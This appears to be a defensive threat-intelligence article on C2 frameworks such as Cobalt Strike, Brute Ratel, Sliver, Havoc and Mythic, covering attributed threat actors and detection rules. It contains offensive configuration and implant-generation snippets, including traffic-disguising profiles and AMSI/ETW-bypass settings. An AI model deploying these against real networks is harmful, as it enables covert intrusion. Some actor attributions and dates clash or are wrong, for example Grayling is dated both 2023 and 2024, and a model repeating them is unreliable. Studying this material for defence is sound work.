C2 Frameworks: The Threat Actor's Arsenal

Deep dive into Command and Control frameworks used by nation-state actors and cybercriminals—Cobalt Strike, Brute Ratel, Sliver, Havoc, and Mythic with real APT attribution and detection strategies.

Command and Control frameworks have evolved from simple RATs to sophisticated platforms that blur the line between legitimate red team tools and nation-state weapons. This deep dive examines the most prevalent C2 frameworks, the threat actors wielding them, and the detection strategies that can expose their presence.

Disclaimer: This article is intended for defensive security professionals, threat hunters, and researchers. Understanding attacker tools and techniques is essential for building effective defenses. All information is sourced from public threat intelligence reports and security research.

The Evolution of Command and Control

The landscape of Command and Control (C2) frameworks has undergone a dramatic transformation over the past decade. What began as simple remote access trojans (RATs) with basic capabilities has evolved into sophisticated, modular platforms that rival enterprise software in their complexity and feature sets.

Modern C2 frameworks provide threat actors with:

  • Encrypted communications that blend with legitimate traffic
  • Modular payload systems for on-demand capability deployment
  • Evasion techniques to bypass EDR and antivirus solutions
  • Malleable profiles that mimic legitimate applications
  • Cross-platform agents targeting Windows, Linux, and macOS
  • Peer-to-peer capabilities for resilient networks
2012

Cobalt Strike released as a commercial adversary simulation tool

2019

Sliver emerges as an open-source alternative from Bishop Fox

2020

Brute Ratel C4 enters the market as a detection-evasion focused framework

2022

Havoc framework released, offering modern UI and extensibility

2024

Operation Morpheus disrupts 593 malicious Cobalt Strike servers

2025-2026

Threat actors increasingly adopt Sliver, Havoc, and Mythic as Cobalt Strike detection improves

Cobalt Strike: The Industry Standard

Cobalt Strike remains the most widely used C2 framework in both legitimate red team operations and malicious campaigns. Originally developed by Raphael Mudge and now owned by Fortra (formerly HelpSystems), it has become the de facto standard against which all other C2 frameworks are measured.

Technical Architecture

Cobalt Strike operates on a team server model where multiple operators can collaborate on engagements. The Beacon payload communicates with the team server using configurable protocols:

# Malleable C2 Profile Example - Mimicking jQuery
http-get {
    set uri "/jquery-3.3.1.min.js";

    client {
        header "Accept" "text/html,application/xhtml+xml";
        header "Accept-Language" "en-US,en;q=0.5";

        metadata {
            base64url;
            prepend "__cfduid=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/javascript";
        header "Cache-Control" "max-age=0, no-cache";

        output {
            mask;
            base64url;
            prepend "/*! jQuery v3.3.1 */";
            append "/*! END */";
            print;
        }
    }
}

Key Capabilities

  • Beacon payload: Asynchronous or interactive sessions with configurable sleep times
  • Malleable C2: Traffic profiles that mimic legitimate applications
  • BOF (Beacon Object Files): In-memory execution of compiled C code
  • SOCKS proxy: Pivoting through compromised hosts
  • Mimikatz integration: Credential harvesting and Kerberos attacks
  • Lateral movement: PsExec, WMI, WinRM, and SSH execution

Threat Actors Using Cobalt Strike

  • APT41 (Double Dragon/Winnti): Chinese state-sponsored group targeting healthcare, telecom, and technology sectors. Known for combining espionage with financially motivated operations. Uses Cobalt Strike alongside custom malware like ShadowPad.
  • Lemon Sandstorm (MERCURY/MuddyWater): Iranian APT targeting Middle Eastern telecommunications and government entities. Deploys Cobalt Strike after initial access via spear-phishing.
  • RedNovember: Russian-nexus threat actor attributed to FSB operations. Uses Cobalt Strike in campaigns targeting European government and defense sectors.
  • Grayling: Suspected Chinese APT discovered in 2023 targeting Taiwan, Vietnam, and US biomedical organizations. Combines Cobalt Strike with Havoc for redundancy.
  • FIN7: Financially motivated group responsible for billions in fraud. Uses Cobalt Strike as primary post-exploitation framework in ransomware operations.
  • Conti/Royal/BlackSuit: Major ransomware operations extensively using cracked Cobalt Strike versions.

Notable Campaigns

APT41 Healthcare Targeting (2024-2025)

APT41 conducted extensive campaigns against healthcare organizations worldwide, leveraging Cobalt Strike Beacons deployed through compromised Citrix and Pulse Secure VPN appliances. The group used custom Malleable C2 profiles mimicking Microsoft Azure traffic to evade detection. Post-compromise activity included deployment of custom ShadowPad variants for long-term persistence.

Operation Morpheus (June 2024)

In a landmark law enforcement action, Europol coordinated the disruption of 593 malicious Cobalt Strike servers across 27 countries. The operation, involving agencies from the UK, US, Australia, Canada, Germany, and others, targeted servers hosting cracked versions of Cobalt Strike used in ransomware and espionage campaigns.

Detection Strategies

  • JA3/JA3S fingerprinting: Default Cobalt Strike TLS fingerprints are well-documented
  • HTTP header analysis: Malleable profiles often have subtle inconsistencies
  • Named pipe monitoring: Default pipes like \\.\pipe\msagent_*
  • Memory scanning: Beacon reflective DLL signatures
  • Sleep mask detection: Identifying encrypted sleep patterns
  • YARA rules: Extensive public ruleset available from NCSC and community
MITRE ATT&CK ID Technique Cobalt Strike Implementation
T1055 Process Injection Beacon spawns sacrificial processes for post-ex
T1071.001 Web Protocols HTTP/HTTPS C2 with malleable profiles
T1059.001 PowerShell PowerShell stagers and post-exploitation
T1003 OS Credential Dumping Integrated Mimikatz, DCSync, Kerberoasting
T1021.002 SMB/Windows Admin Shares PsExec, service creation lateral movement

Brute Ratel C4: The Detection Evasion Specialist

Brute Ratel C4 (BRc4) emerged in 2020 as a commercial adversary simulation tool explicitly designed to evade modern EDR solutions. Created by Chetan Nayak (Paranoid Ninja), a former red team operator at Mandiant and CrowdStrike, BRc4 incorporates lessons learned from years of offensive operations against enterprise security stacks.

Technical Differentiators

BRc4's architecture prioritizes stealth over features:

# Brute Ratel badger configuration
{
  "sleep": 60,
  "jitter": 50,
  "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
  "hosts": ["cdn.example.com:443", "api.example.com:443"],
  "rotation": "round-robin",
  "proxy_aware": true,
  "syscall_mode": "indirect",
  "etw_bypass": true,
  "amsi_bypass": true
}

Key Capabilities

  • Badger payload: Lightweight agent with built-in EDR evasion
  • Indirect syscalls: Bypasses userland API hooking by directly invoking NT functions
  • ETW patching: Disables Event Tracing for Windows to blind security tools
  • AMSI bypass: Neutralizes Antimalware Scan Interface
  • SMB/TCP pivoting: Agent chaining through internal networks
  • LDAP querying: Built-in Active Directory reconnaissance
  • Custom DoH/DoT: DNS-over-HTTPS/TLS for covert channels

Threat Actors Using Brute Ratel C4

  • Patchwork APT (Dropping Elephant): Indian state-sponsored group that deployed BRc4 against Bhutanese government entities in 2024. Used spear-phishing with diplomatic lures to deliver badger payloads, representing one of the first documented APT uses of BRc4.
  • LUNAR SPIDER (Storm-0978): Financially motivated group behind the Latrodectus malware loader. Combines BRc4 with IcedID infrastructure for ransomware operations. Responsible for campaigns against European financial institutions.
  • Black Basta: Ransomware group that integrated BRc4 into their toolkit after Cobalt Strike detections improved. Uses BRc4 for initial post-exploitation before deploying ransomware payloads.
  • Suspected Russian Groups: Leaked BRc4 versions have been observed in campaigns targeting Ukrainian infrastructure since 2023.

The Patchwork Campaign Against Bhutan (2024)

In one of the most significant documented uses of BRc4 by an APT, the Patchwork group targeted Bhutanese government entities with sophisticated spear-phishing campaigns. The attack chain demonstrated the evolution of nation-state tradecraft:

  1. Initial Access: Spear-phishing emails with diplomatic-themed lures (.docx files)
  2. Execution: Macro-enabled documents dropping BRc4 badger via DLL side-loading
  3. Persistence: Scheduled tasks and registry run keys
  4. C2: HTTPS communications to attacker-controlled infrastructure mimicking CDN providers
  5. Collection: Document exfiltration and credential harvesting

Key Insight: The Patchwork campaign marked a significant shift in APT tooling. Previously, Patchwork relied on custom malware like BADNEWS and Ragnatela. The adoption of BRc4 suggests nation-state actors are increasingly adopting commercial red team tools to accelerate operations and complicate attribution.

LUNAR SPIDER and the Ransomware Economy

LUNAR SPIDER represents the intersection of initial access brokers and ransomware operations. Their use of BRc4 demonstrates the tool's appeal to financially motivated actors:

# Typical LUNAR SPIDER attack flow
1. Initial Access: IcedID/Latrodectus phishing campaign
2. Foothold: BRc4 badger deployment via Latrodectus loader
3. Discovery: LDAP queries, network enumeration
4. Lateral Movement: SMB/WMI with harvested credentials
5. Data Staging: Archive creation on file shares
6. Exfiltration: HTTPS to attacker infrastructure
7. Impact: Ransomware deployment (often BlackCat/ALPHV)

Detection Strategies

  • Syscall monitoring: Indirect syscalls leave traces in kernel callbacks
  • Memory analysis: Badger's in-memory structures have identifiable patterns
  • Network indicators: Default DoH providers, certificate patterns
  • ETW tampering: Monitor for ETW provider modifications
  • Behavioral analysis: Injection patterns, process hollowing sequences

Sliver: The Open-Source Alternative

Sliver, developed by Bishop Fox, has emerged as the leading open-source alternative to commercial C2 frameworks. Its MIT license, active development, and extensive documentation have made it increasingly popular with both red teams and threat actors seeking to avoid the scrutiny associated with Cobalt Strike.

Architecture Overview

# Sliver implant generation
sliver > generate --mtls 192.168.1.100 --os windows --arch amd64 --format exe --save implant.exe

# HTTP C2 with custom headers
sliver > https --domain cdn.example.com --lport 443 \
         --cert /path/to/cert.pem --key /path/to/key.pem

# mTLS listener for encrypted communications
sliver > mtls --lhost 0.0.0.0 --lport 8888

Key Capabilities

  • Multi-protocol C2: mTLS, HTTP(S), DNS, WireGuard, and named pipes
  • Cross-platform: Windows, Linux, macOS implant generation
  • Dynamic code execution: In-memory .NET assembly and BOF execution
  • Armory: Extension marketplace with community-contributed modules
  • Multiplayer: Multi-operator support with role-based access
  • Stager payloads: Shellcode and staged implant delivery
  • Traffic encryption: Asymmetric key exchange with per-session encryption

Threat Actors Using Sliver

  • TA551 (Shathak): Prolific initial access broker that transitioned from IcedID to Sliver-based operations in 2024. Targets English and German-speaking organizations.
  • APT29 (Cozy Bear): Russian SVR-linked group observed using Sliver alongside traditional tools in European diplomatic targeting.
  • DEV-0569: Microsoft-tracked actor using Sliver in ransomware precursor activities, often delivered via malvertising campaigns.
  • Multiple Ransomware Affiliates: Various groups have adopted Sliver as Cobalt Strike alternatives, including affiliates of BlackCat, LockBit, and Royal.

The Sliver Adoption Wave

Microsoft's 2024 threat intelligence report documented a 300% increase in Sliver usage among tracked threat actors compared to 2023. This surge is attributed to several factors:

  • Improved Cobalt Strike detection: Years of defensive research have made Cobalt Strike increasingly difficult to use covertly
  • Open-source availability: No licensing costs or cracked version risks
  • Active development: Regular updates adding new evasion capabilities
  • Documentation quality: Comprehensive guides lower the barrier to entry

Detection Strategies

  • Certificate analysis: Default Sliver certificates have identifiable patterns
  • DNS tunneling: Encoded subdomain patterns in DNS C2 mode
  • HTTP indicators: Default URI patterns and header configurations
  • Process behavior: Implant injection and execution patterns
  • Network signatures: mTLS handshake characteristics

Havoc: The Modern Framework

Havoc emerged in 2022 as a modern C2 framework with a focus on user experience and extensibility. Developed by C5pider, it combines the flexibility of open-source with advanced evasion capabilities typically found in commercial tools.

Technical Features

# Havoc Demon (implant) capabilities
- Sleep obfuscation with custom techniques
- Indirect syscalls via Hell's Gate/Halo's Gate
- AMSI/ETW/WLDP bypass options
- Custom reflective loader
- Extensible via Python/C BOFs

# Teamserver configuration
Teamserver:
  Host: 0.0.0.0
  Port: 40056

Operators:
  - Name: "operator1"
    Password: "Password123!"

Listeners:
  - Name: "https-listener"
    Protocol: Https
    Host: 192.168.1.100
    Port: 443
    Secure: true

Key Capabilities

  • Demon payload: Feature-rich implant with extensive evasion
  • Modern UI: Qt-based cross-platform interface
  • Python API: Scriptable automation and integration
  • Sleep techniques: Ekko, Zilean, and custom sleep obfuscation
  • Token manipulation: Advanced impersonation capabilities
  • Inline execution: Execute assemblies and BOFs in implant process

Threat Actors Using Havoc

  • Grayling APT: Suspected Chinese group targeting Taiwan, Vietnam, and US biomedical sectors. Combines Havoc with Cobalt Strike for redundant C2 channels.
  • UNC4466: Mandiant-tracked cluster using Havoc in campaigns against Middle Eastern energy sector.
  • Various Ransomware Affiliates: Increasing adoption among groups seeking alternatives to detected Cobalt Strike infrastructure.

The Grayling Campaign

Symantec's 2024 discovery of the Grayling APT revealed a sophisticated operation using Havoc alongside traditional tools. The campaign targeted organizations in Taiwan, Vietnam, the Solomon Islands, and US-based biomedical companies:

Attack Chain

  1. Initial access via CVE-2024-21412 (Windows SmartScreen bypass)
  2. Havoc Demon deployment for primary C2
  3. Cobalt Strike Beacon as backup channel
  4. Custom DLL side-loading for persistence
  5. Credential harvesting targeting biomedical research data

Detection Strategies

  • Sleep obfuscation patterns: Ekko/Zilean leave identifiable memory artifacts
  • Shellcode characteristics: Demon loader has consistent patterns
  • Network behavior: Default profile HTTP patterns
  • Process hollowing: Demon's injection technique signatures

Mythic: The Modular Platform

Mythic represents a different approach to C2 frameworks, functioning as a platform that supports multiple payload types through a modular agent architecture. Developed by Cody Thomas (its_a_feature_), Mythic's flexibility has attracted both sophisticated red teams and threat actors.

Architecture

# Mythic supports multiple agent types:
# - Athena (.NET cross-platform)
# - Apollo (Windows)
# - Poseidon (Golang cross-platform)
# - Medusa (Python)
# - Merlin (Golang)

# Agent installation
./mythic-cli install github https://github.com/MythicAgents/apollo

# C2 Profile installation
./mythic-cli install github https://github.com/MythicC2Profiles/http

Key Capabilities

  • Multi-agent architecture: Support for diverse payload types
  • Custom C2 profiles: Pluggable communication protocols
  • Web UI: Modern React-based interface
  • Reporting: Built-in operation documentation
  • Artifact tracking: Automatic IOC collection
  • MITRE mapping: Automatic ATT&CK technique tagging

Threat Actors Using Mythic

  • Observed in ransomware operations: Multiple threat actors have experimented with Mythic agents, though attribution remains limited due to the platform's open nature.
  • Initial access brokers: Some IABs have demonstrated Mythic in underground forums as an alternative to Cobalt Strike.

Framework Comparison

Feature Cobalt Strike Brute Ratel Sliver Havoc Mythic
License Commercial Commercial Open Source Open Source Open Source
Primary Payload Beacon Badger Implant Demon Multi-agent
EDR Evasion Moderate High Moderate High Varies
Cross-Platform Limited Windows focus Excellent Windows focus Excellent
Documentation Extensive Good Excellent Good Excellent
Community Large Small Growing Growing Moderate
Threat Actor Usage Extensive Increasing Increasing Moderate Limited

Emerging Threats and Trends

The Shift Away from Cobalt Strike

The 2024-2025 period has marked a significant shift in threat actor tooling preferences. Several factors drive this transition:

  • Operation Morpheus impact: The takedown of 593 servers demonstrated the risks of relying on well-known infrastructure
  • Improved detection: Years of research have made default Cobalt Strike configurations detectable by most EDR solutions
  • Licensing crackdowns: Fortra's legal actions against cracked versions have reduced availability
  • Alternative maturity: Sliver, Havoc, and BRc4 have reached feature parity for most operations

Custom Framework Development

Advanced threat actors are increasingly developing custom C2 frameworks to avoid detection signatures entirely. Notable examples include:

  • ShadowPad: Chinese APT-exclusive modular backdoor used alongside public tools
  • Sunburst: The SolarWinds backdoor demonstrated nation-state capability for custom development
  • Industroyer2: Purpose-built ICS targeting framework attributed to Sandworm

AI-Assisted Evasion

Emerging research suggests threat actors are exploring AI-assisted techniques for:

  • Automated malleable profile generation to mimic legitimate traffic
  • Dynamic payload modification to evade static signatures
  • Behavioral analysis evasion through adaptive sleep patterns

Detection and Hunting Strategies

Network-Based Detection

# Sigma rule for suspicious JA3 fingerprints
title: Potential C2 Framework JA3 Fingerprint
status: experimental
logsource:
    category: proxy
detection:
    selection:
        ja3_hash:
            - '72a589da586844d7f0818ce684948eea'  # Cobalt Strike
            - '6734f37431670b3ab4292b8f60f29984'  # Sliver default
            - 'a0e9f5d64349fb13f94d1b9f78d9c4d8'  # BRc4 default
    condition: selection

Endpoint Detection

# YARA rule for common C2 memory patterns
rule C2_Memory_Pattern {
    meta:
        description = "Detects common C2 framework memory patterns"
        author = "Brickell Technologies"
    strings:
        $beacon_config = { 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 00 }
        $sleep_mask = { 48 89 5C 24 ?? 48 89 6C 24 ?? 48 89 74 24 ?? }
        $syscall_stub = { 4C 8B D1 B8 ?? ?? 00 00 0F 05 C3 }
    condition:
        2 of them
}

Behavioral Indicators

  • Process injection patterns: CreateRemoteThread, QueueUserAPC, NtMapViewOfSection
  • Unusual parent-child relationships: Word/Excel spawning cmd.exe/powershell.exe
  • Named pipe creation: Monitor for non-standard pipe names
  • Sleep patterns: Regular beacon intervals with consistent jitter
  • Credential access: LSASS access, DCSync traffic, Kerberoasting

Defensive Recommendations

Immediate Actions
  1. Deploy memory scanning: Configure EDR for in-memory threat detection
  2. Implement JA3/JA3S monitoring: Block or alert on known malicious fingerprints
  3. Enable PowerShell logging: Script block, module, and transcription logging
  4. Monitor ETW providers: Alert on provider disabling or modification
  5. Hunt for named pipes: Identify non-standard pipe creation
Strategic Improvements
  1. Adopt zero trust architecture: Limit lateral movement opportunities
  2. Implement network segmentation: Contain potential breaches
  3. Deploy deception technology: Honeypots and honeytokens for early detection
  4. Conduct regular threat hunting: Proactive search for C2 indicators
  5. Maintain threat intelligence feeds: Stay current on emerging IOCs

Conclusion

The C2 framework landscape continues to evolve as threat actors adapt to improved defenses. While Cobalt Strike remains prevalent, the increasing adoption of alternatives like Brute Ratel, Sliver, and Havoc by both APT groups and financially motivated actors presents new challenges for defenders.

Key takeaways for security teams:

  • Diversify detection: Don't rely solely on Cobalt Strike signatures
  • Focus on behaviors: Technique-based detection outlasts specific tool signatures
  • Track threat intelligence: Understand which actors are using which tools
  • Test your defenses: Regular red team exercises using current frameworks
  • Assume breach: Build detection capabilities for post-exploitation activities

The tools described in this article serve legitimate purposes in authorized security testing. However, their abuse by threat actors necessitates continuous advancement of defensive capabilities. By understanding these frameworks deeply, defenders can better protect their organizations from sophisticated adversaries.

Tools & Resources
C2 Frameworks Cobalt Strike Threat Intelligence APT Red Team Detection